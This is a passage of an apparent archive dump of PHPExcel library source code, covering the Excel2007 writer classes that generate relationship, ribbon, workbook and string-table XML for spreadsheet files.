($pPHPExcel->getSheet()->getHeaderFooter()->getImages() as $image) { if (!isset( $aMediaContentTypes[strtolower($image->getExtension())])) { $aMediaContentTypes[strtolower($image->getExtension())] = $this->getImageMimeType($image->getPath()); $this->writeDefaultContentType($objWriter, strtolower($image->getExtension()), $aMediaContentTypes[strtolower($image->getExtension())]); } } } } $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Get image mime type * * @param string $pFile Filename * @return string Mime Type * @throws PHPExcel_Writer_Exception */ private function getImageMimeType($pFile = '') { if (PHPExcel_Shared_File::file_exists($pFile)) { $image = getimagesize($pFile); return image_type_to_mime_type($image[2]); } else { throw new PHPExcel_Writer_Exception("File $pFile does not exist"); } } /** * Write Default content type * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param string $pPartname Part name * @param string $pContentType Content type * @throws PHPExcel_Writer_Exception */ private function writeDefaultContentType(PHPExcel_Shared_XMLWriter $objWriter = null, $pPartname = '', $pContentType = '') { if ($pPartname != '' && $pContentType != '') { // Write content type $objWriter->startElement('Default'); $objWriter->writeAttribute('Extension', $pPartname); $objWriter->writeAttribute('ContentType', $pContentType); $objWriter->endElement(); } else { throw new PHPExcel_Writer_Exception("Invalid parameters passed."); } } /** * Write Override content type * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param string $pPartname Part name * @param string $pContentType Content type * @throws PHPExcel_Writer_Exception */ private function writeOverrideContentType(PHPExcel_Shared_XMLWriter $objWriter = null, $pPartname = '', $pContentType = '') { if ($pPartname != '' && $pContentType != '') { // Write content type $objWriter->startElement('Override'); $objWriter->writeAttribute('PartName', $pPartname); $objWriter->writeAttribute('ContentType', $pContentType); $objWriter->endElement(); } else { throw new PHPExcel_Writer_Exception("Invalid parameters passed."); } } } PHPExcel/Writer/Excel2007/Rels.php 0000644 00000037202 14642534107 0012431 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_Rels * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_Rels extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write relationships to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeRelationships(PHPExcel $pPHPExcel = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships'); $customPropertyList = $pPHPExcel->getProperties()->getCustomProperties(); if (!empty($customPropertyList)) { // Relationship docProps/app.xml $this->writeRelationship( $objWriter, 4, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/custom-properties', 'docProps/custom.xml' ); } // Relationship docProps/app.xml $this->writeRelationship( $objWriter, 3, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties', 'docProps/app.xml' ); // Relationship docProps/core.xml $this->writeRelationship( $objWriter, 2, 'http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml' ); // Relationship xl/workbook.xml $this->writeRelationship( $objWriter, 1, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument', 'xl/workbook.xml' ); // a custom UI in workbook ? if ($pPHPExcel->hasRibbon()) { $this->writeRelationShip( $objWriter, 5, 'http://schemas.microsoft.com/office/2006/relationships/ui/extensibility', $pPHPExcel->getRibbonXMLData('target') ); } $objWriter->endElement(); return $objWriter->getData(); } /** * Write workbook relationships to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeWorkbookRelationships(PHPExcel $pPHPExcel = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships'); // Relationship styles.xml $this->writeRelationship( $objWriter, 1, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles', 'styles.xml' ); // Relationship theme/theme1.xml $this->writeRelationship( $objWriter, 2, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme', 'theme/theme1.xml' ); // Relationship sharedStrings.xml $this->writeRelationship( $objWriter, 3, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings', 'sharedStrings.xml' ); // Relationships with sheets $sheetCount = $pPHPExcel->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { $this->writeRelationship( $objWriter, ($i + 1 + 3), 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet', 'worksheets/sheet' . ($i + 1) . '.xml' ); } // Relationships for vbaProject if needed // id : just after the last sheet if ($pPHPExcel->hasMacros()) { $this->writeRelationShip( $objWriter, ($i + 1 + 3), 'http://schemas.microsoft.com/office/2006/relationships/vbaProject', 'vbaProject.bin' ); ++$i;//increment i if needed for an another relation } $objWriter->endElement(); return $objWriter->getData(); } /** * Write worksheet relationships to XML format * * Numbering is as follows: * rId1 - Drawings * rId_hyperlink_x - Hyperlinks * * @param PHPExcel_Worksheet $pWorksheet * @param int $pWorksheetId * @param boolean $includeCharts Flag indicating if we should write charts * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeWorksheetRelationships(PHPExcel_Worksheet $pWorksheet = null, $pWorksheetId = 1, $includeCharts = false) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships'); // Write drawing relationships? $d = 0; if ($includeCharts) { $charts = $pWorksheet->getChartCollection(); } else { $charts = array(); } if (($pWorksheet->getDrawingCollection()->count() > 0) || (count($charts) > 0)) { $this->writeRelationship( $objWriter, ++$d, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/drawing', '../drawings/drawing' . $pWorksheetId . '.xml' ); } // Write chart relationships? // $chartCount = 0; // $charts = $pWorksheet->getChartCollection(); // echo 'Chart Rels: ' , count($charts) , '<br />'; // if (count($charts) > 0) { // foreach ($charts as $chart) { // $this->writeRelationship( // $objWriter, // ++$d, // 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/chart', // '../charts/chart' . ++$chartCount . '.xml' // ); // } // } // // Write hyperlink relationships? $i = 1; foreach ($pWorksheet->getHyperlinkCollection() as $hyperlink) { if (!$hyperlink->isInternal()) { $this->writeRelationship( $objWriter, '_hyperlink_' . $i, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink', $hyperlink->getUrl(), 'External' ); ++$i; } } // Write comments relationship? $i = 1; if (count($pWorksheet->getComments()) > 0) { $this->writeRelationship( $objWriter, '_comments_vml' . $i, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing', '../drawings/vmlDrawing' . $pWorksheetId . '.vml' ); $this->writeRelationship( $objWriter, '_comments' . $i, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments', '../comments' . $pWorksheetId . '.xml' ); } // Write header/footer relationship? $i = 1; if (count($pWorksheet->getHeaderFooter()->getImages()) > 0) { $this->writeRelationship( $objWriter, '_headerfooter_vml' . $i, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing', '../drawings/vmlDrawingHF' . $pWorksheetId . '.vml' ); } $objWriter->endElement(); return $objWriter->getData(); } /** * Write drawing relationships to XML format * * @param PHPExcel_Worksheet $pWorksheet * @param int &$chartRef Chart ID * @param boolean $includeCharts Flag indicating if we should write charts * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeDrawingRelationships(PHPExcel_Worksheet $pWorksheet = null, &$chartRef, $includeCharts = false) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships'); // Loop through images and write relationships $i = 1; $iterator = $pWorksheet->getDrawingCollection()->getIterator(); while ($iterator->valid()) { if ($iterator->current() instanceof PHPExcel_Worksheet_Drawing || $iterator->current() instanceof PHPExcel_Worksheet_MemoryDrawing) { // Write relationship for image drawing $this->writeRelationship( $objWriter, $i, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image', '../media/' . str_replace(' ', '', $iterator->current()->getIndexedFilename()) ); } $iterator->next(); ++$i; } if ($includeCharts) { // Loop through charts and write relationships $chartCount = $pWorksheet->getChartCount(); if ($chartCount > 0) { for ($c = 0; $c < $chartCount; ++$c) { $this->writeRelationship( $objWriter, $i++, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/chart', '../charts/chart' . ++$chartRef . '.xml' ); } } } $objWriter->endElement(); return $objWriter->getData(); } /** * Write header/footer drawing relationships to XML format * * @param PHPExcel_Worksheet $pWorksheet * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeHeaderFooterDrawingRelationships(PHPExcel_Worksheet $pWorksheet = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships'); // Loop through images and write relationships foreach ($pWorksheet->getHeaderFooter()->getImages() as $key => $value) { // Write relationship for image drawing $this->writeRelationship( $objWriter, $key, 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image', '../media/' . $value->getIndexedFilename() ); } $objWriter->endElement(); return $objWriter->getData(); } /** * Write Override content type * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param int $pId Relationship ID. rId will be prepended! * @param string $pType Relationship type * @param string $pTarget Relationship target * @param string $pTargetMode Relationship target mode * @throws PHPExcel_Writer_Exception */ private function writeRelationship(PHPExcel_Shared_XMLWriter $objWriter = null, $pId = 1, $pType = '', $pTarget = '', $pTargetMode = '') { if ($pType != '' && $pTarget != '') { // Write relationship $objWriter->startElement('Relationship'); $objWriter->writeAttribute('Id', 'rId' . $pId); $objWriter->writeAttribute('Type', $pType); $objWriter->writeAttribute('Target', $pTarget); if ($pTargetMode != '') { $objWriter->writeAttribute('TargetMode', $pTargetMode); } $objWriter->endElement(); } else { throw new PHPExcel_Writer_Exception("Invalid parameters passed."); } } } PHPExcel/Writer/Excel2007/RelsRibbon.php 0000644 00000005323 14642534107 0013564 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_RelsRibbon * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_RelsRibbon extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write relationships for additional objects of custom UI (ribbon) * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeRibbonRelationships(PHPExcel $pPHPExcel = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships'); $localRels = $pPHPExcel->getRibbonBinObjects('names'); if (is_array($localRels)) { foreach ($localRels as $aId => $aTarget) { $objWriter->startElement('Relationship'); $objWriter->writeAttribute('Id', $aId); $objWriter->writeAttribute('Type', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image'); $objWriter->writeAttribute('Target', $aTarget); $objWriter->endElement(); } } $objWriter->endElement(); return $objWriter->getData(); } } PHPExcel/Writer/Excel2007/Workbook.php 0000644 00000042573 14642534107 0013330 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_Workbook * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_Workbook extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write workbook to XML format * * @param PHPExcel $pPHPExcel * @param boolean $recalcRequired Indicate whether formulas should be recalculated before writing * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeWorkbook(PHPExcel $pPHPExcel = null, $recalcRequired = false) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // workbook $objWriter->startElement('workbook'); $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'); $objWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'); // fileVersion $this->writeFileVersion($objWriter); // workbookPr $this->writeWorkbookPr($objWriter); // workbookProtection $this->writeWorkbookProtection($objWriter, $pPHPExcel); // bookViews if ($this->getParentWriter()->getOffice2003Compatibility() === false) { $this->writeBookViews($objWriter, $pPHPExcel); } // sheets $this->writeSheets($objWriter, $pPHPExcel); // definedNames $this->writeDefinedNames($objWriter, $pPHPExcel); // calcPr $this->writeCalcPr($objWriter, $recalcRequired); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write file version * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @throws PHPExcel_Writer_Exception */ private function writeFileVersion(PHPExcel_Shared_XMLWriter $objWriter = null) { $objWriter->startElement('fileVersion'); $objWriter->writeAttribute('appName', 'xl'); $objWriter->writeAttribute('lastEdited', '4'); $objWriter->writeAttribute('lowestEdited', '4'); $objWriter->writeAttribute('rupBuild', '4505'); $objWriter->endElement(); } /** * Write WorkbookPr * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @throws PHPExcel_Writer_Exception */ private function writeWorkbookPr(PHPExcel_Shared_XMLWriter $objWriter = null) { $objWriter->startElement('workbookPr'); if (PHPExcel_Shared_Date::getExcelCalendar() == PHPExcel_Shared_Date::CALENDAR_MAC_1904) { $objWriter->writeAttribute('date1904', '1'); } $objWriter->writeAttribute('codeName', 'ThisWorkbook'); $objWriter->endElement(); } /** * Write BookViews * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel $pPHPExcel * @throws PHPExcel_Writer_Exception */ private function writeBookViews(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel $pPHPExcel = null) { // bookViews $objWriter->startElement('bookViews'); // workbookView $objWriter->startElement('workbookView'); $objWriter->writeAttribute('activeTab', $pPHPExcel->getActiveSheetIndex()); $objWriter->writeAttribute('autoFilterDateGrouping', '1'); $objWriter->writeAttribute('firstSheet', '0'); $objWriter->writeAttribute('minimized', '0'); $objWriter->writeAttribute('showHorizontalScroll', '1'); $objWriter->writeAttribute('showSheetTabs', '1'); $objWriter->writeAttribute('showVerticalScroll', '1'); $objWriter->writeAttribute('tabRatio', '600'); $objWriter->writeAttribute('visibility', 'visible'); $objWriter->endElement(); $objWriter->endElement(); } /** * Write WorkbookProtection * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel $pPHPExcel * @throws PHPExcel_Writer_Exception */ private function writeWorkbookProtection(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel $pPHPExcel = null) { if ($pPHPExcel->getSecurity()->isSecurityEnabled()) { $objWriter->startElement('workbookProtection'); $objWriter->writeAttribute('lockRevision', ($pPHPExcel->getSecurity()->getLockRevision() ? 'true' : 'false')); $objWriter->writeAttribute('lockStructure', ($pPHPExcel->getSecurity()->getLockStructure() ? 'true' : 'false')); $objWriter->writeAttribute('lockWindows', ($pPHPExcel->getSecurity()->getLockWindows() ? 'true' : 'false')); if ($pPHPExcel->getSecurity()->getRevisionsPassword() != '') { $objWriter->writeAttribute('revisionsPassword', $pPHPExcel->getSecurity()->getRevisionsPassword()); } if ($pPHPExcel->getSecurity()->getWorkbookPassword() != '') { $objWriter->writeAttribute('workbookPassword', $pPHPExcel->getSecurity()->getWorkbookPassword()); } $objWriter->endElement(); } } /** * Write calcPr * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param boolean $recalcRequired Indicate whether formulas should be recalculated before writing * @throws PHPExcel_Writer_Exception */ private function writeCalcPr(PHPExcel_Shared_XMLWriter $objWriter = null, $recalcRequired = true) { $objWriter->startElement('calcPr'); // Set the calcid to a higher value than Excel itself will use, otherwise Excel will always recalc // If MS Excel does do a recalc, then users opening a file in MS Excel will be prompted to save on exit // because the file has changed $objWriter->writeAttribute('calcId', '999999'); $objWriter->writeAttribute('calcMode', 'auto'); // fullCalcOnLoad isn't needed if we've recalculating for the save $objWriter->writeAttribute('calcCompleted', ($recalcRequired) ? 1 : 0); $objWriter->writeAttribute('fullCalcOnLoad', ($recalcRequired) ? 0 : 1); $objWriter->endElement(); } /** * Write sheets * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel $pPHPExcel * @throws PHPExcel_Writer_Exception */ private function writeSheets(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel $pPHPExcel = null) { // Write sheets $objWriter->startElement('sheets'); $sheetCount = $pPHPExcel->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { // sheet $this->writeSheet( $objWriter, $pPHPExcel->getSheet($i)->getTitle(), ($i + 1), ($i + 1 + 3), $pPHPExcel->getSheet($i)->getSheetState() ); } $objWriter->endElement(); } /** * Write sheet * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param string $pSheetname Sheet name * @param int $pSheetId Sheet id * @param int $pRelId Relationship ID * @param string $sheetState Sheet state (visible, hidden, veryHidden) * @throws PHPExcel_Writer_Exception */ private function writeSheet(PHPExcel_Shared_XMLWriter $objWriter = null, $pSheetname = '', $pSheetId = 1, $pRelId = 1, $sheetState = 'visible') { if ($pSheetname != '') { // Write sheet $objWriter->startElement('sheet'); $objWriter->writeAttribute('name', $pSheetname); $objWriter->writeAttribute('sheetId', $pSheetId); if ($sheetState != 'visible' && $sheetState != '') { $objWriter->writeAttribute('state', $sheetState); } $objWriter->writeAttribute('r:id', 'rId' . $pRelId); $objWriter->endElement(); } else { throw new PHPExcel_Writer_Exception("Invalid parameters passed."); } } /** * Write Defined Names * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel $pPHPExcel * @throws PHPExcel_Writer_Exception */ private function writeDefinedNames(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel $pPHPExcel = null) { // Write defined names $objWriter->startElement('definedNames'); // Named ranges if (count($pPHPExcel->getNamedRanges()) > 0) { // Named ranges $this->writeNamedRanges($objWriter, $pPHPExcel); } // Other defined names $sheetCount = $pPHPExcel->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { // definedName for autoFilter $this->writeDefinedNameForAutofilter($objWriter, $pPHPExcel->getSheet($i), $i); // definedName for Print_Titles $this->writeDefinedNameForPrintTitles($objWriter, $pPHPExcel->getSheet($i), $i); // definedName for Print_Area $this->writeDefinedNameForPrintArea($objWriter, $pPHPExcel->getSheet($i), $i); } $objWriter->endElement(); } /** * Write named ranges * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel $pPHPExcel * @throws PHPExcel_Writer_Exception */ private function writeNamedRanges(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel $pPHPExcel) { // Loop named ranges $namedRanges = $pPHPExcel->getNamedRanges(); foreach ($namedRanges as $namedRange) { $this->writeDefinedNameForNamedRange($objWriter, $namedRange); } } /** * Write Defined Name for named range * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_NamedRange $pNamedRange * @throws PHPExcel_Writer_Exception */ private function writeDefinedNameForNamedRange(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_NamedRange $pNamedRange) { // definedName for named range $objWriter->startElement('definedName'); $objWriter->writeAttribute('name', $pNamedRange->getName()); if ($pNamedRange->getLocalOnly()) { $objWriter->writeAttribute('localSheetId', $pNamedRange->getScope()->getParent()->getIndex($pNamedRange->getScope())); } // Create absolute coordinate and write as raw text $range = PHPExcel_Cell::splitRange($pNamedRange->getRange()); for ($i = 0; $i < count($range); $i++) { $range[$i][0] = '\'' . str_replace("'", "''", $pNamedRange->getWorksheet()->getTitle()) . '\'!' . PHPExcel_Cell::absoluteReference($range[$i][0]); if (isset($range[$i][1])) { $range[$i][1] = PHPExcel_Cell::absoluteReference($range[$i][1]); } } $range = PHPExcel_Cell::buildRange($range); $objWriter->writeRawData($range); $objWriter->endElement(); } /** * Write Defined Name for autoFilter * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet * @param int $pSheetId * @throws PHPExcel_Writer_Exception */ private function writeDefinedNameForAutofilter(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null, $pSheetId = 0) { // definedName for autoFilter $autoFilterRange = $pSheet->getAutoFilter()->getRange(); if (!empty($autoFilterRange)) { $objWriter->startElement('definedName'); $objWriter->writeAttribute('name', '_xlnm._FilterDatabase'); $objWriter->writeAttribute('localSheetId', $pSheetId); $objWriter->writeAttribute('hidden', '1'); // Create absolute coordinate and write as raw text $range = PHPExcel_Cell::splitRange($autoFilterRange); $range = $range[0]; // Strip any worksheet ref so we can make the cell ref absolute if (strpos($range[0], '!') !== false) { list($ws, $range[0]) = explode('!', $range[0]); } $range[0] = PHPExcel_Cell::absoluteCoordinate($range[0]); $range[1] = PHPExcel_Cell::absoluteCoordinate($range[1]); $range = implode(':', $range); $objWriter->writeRawData('\'' . str_replace("'", "''", $pSheet->getTitle()) . '\'!' . $range); $objWriter->endElement(); } } /** * Write Defined Name for PrintTitles * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet * @param int $pSheetId * @throws PHPExcel_Writer_Exception */ private function writeDefinedNameForPrintTitles(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null, $pSheetId = 0) { // definedName for PrintTitles if ($pSheet->getPageSetup()->isColumnsToRepeatAtLeftSet() || $pSheet->getPageSetup()->isRowsToRepeatAtTopSet()) { $objWriter->startElement('definedName'); $objWriter->writeAttribute('name', '_xlnm.Print_Titles'); $objWriter->writeAttribute('localSheetId', $pSheetId); // Setting string $settingString = ''; // Columns to repeat if ($pSheet->getPageSetup()->isColumnsToRepeatAtLeftSet()) { $repeat = $pSheet->getPageSetup()->getColumnsToRepeatAtLeft(); $settingString .= '\'' . str_replace("'", "''", $pSheet->getTitle()) . '\'!$' . $repeat[0] . ':$' . $repeat[1]; } // Rows to repeat if ($pSheet->getPageSetup()->isRowsToRepeatAtTopSet()) { if ($pSheet->getPageSetup()->isColumnsToRepeatAtLeftSet()) { $settingString .= ','; } $repeat = $pSheet->getPageSetup()->getRowsToRepeatAtTop(); $settingString .= '\'' . str_replace("'", "''", $pSheet->getTitle()) . '\'!$' . $repeat[0] . ':$' . $repeat[1]; } $objWriter->writeRawData($settingString); $objWriter->endElement(); } } /** * Write Defined Name for PrintTitles * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet * @param int $pSheetId * @throws PHPExcel_Writer_Exception */ private function writeDefinedNameForPrintArea(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null, $pSheetId = 0) { // definedName for PrintArea if ($pSheet->getPageSetup()->isPrintAreaSet()) { $objWriter->startElement('definedName'); $objWriter->writeAttribute('name', '_xlnm.Print_Area'); $objWriter->writeAttribute('localSheetId', $pSheetId); // Setting string $settingString = ''; // Print area $printArea = PHPExcel_Cell::splitRange($pSheet->getPageSetup()->getPrintArea()); $chunks = array(); foreach ($printArea as $printAreaRect) { $printAreaRect[0] = PHPExcel_Cell::absoluteReference($printAreaRect[0]); $printAreaRect[1] = PHPExcel_Cell::absoluteReference($printAreaRect[1]); $chunks[] = '\'' . str_replace("'", "''", $pSheet->getTitle()) . '\'!' . implode(':', $printAreaRect); } $objWriter->writeRawData(implode(',', $chunks)); $objWriter->endElement(); } } } PHPExcel/Writer/Excel2007/StringTable.php 0000644 00000030727 14642534107 0013747 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_StringTable * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_StringTable extends PHPExcel_Writer_Excel2007_WriterPart { /** * Create worksheet stringtable * * @param PHPExcel_Worksheet $pSheet Worksheet * @param string[] $pExistingTable Existing table to eventually merge with * @return string[] String table for worksheet * @throws PHPExcel_Writer_Exception */ public function createStringTable($pSheet = null, $pExistingTable = null) { if ($pSheet !== null) { // Create string lookup table $aStringTable = array(); $cellCollection = null; $aFlippedStringTable = null; // For faster lookup // Is an existing table given? if (($pExistingTable !== null) && is_array($pExistingTable)) { $aStringTable = $pExistingTable; } // Fill index array $aFlippedStringTable = 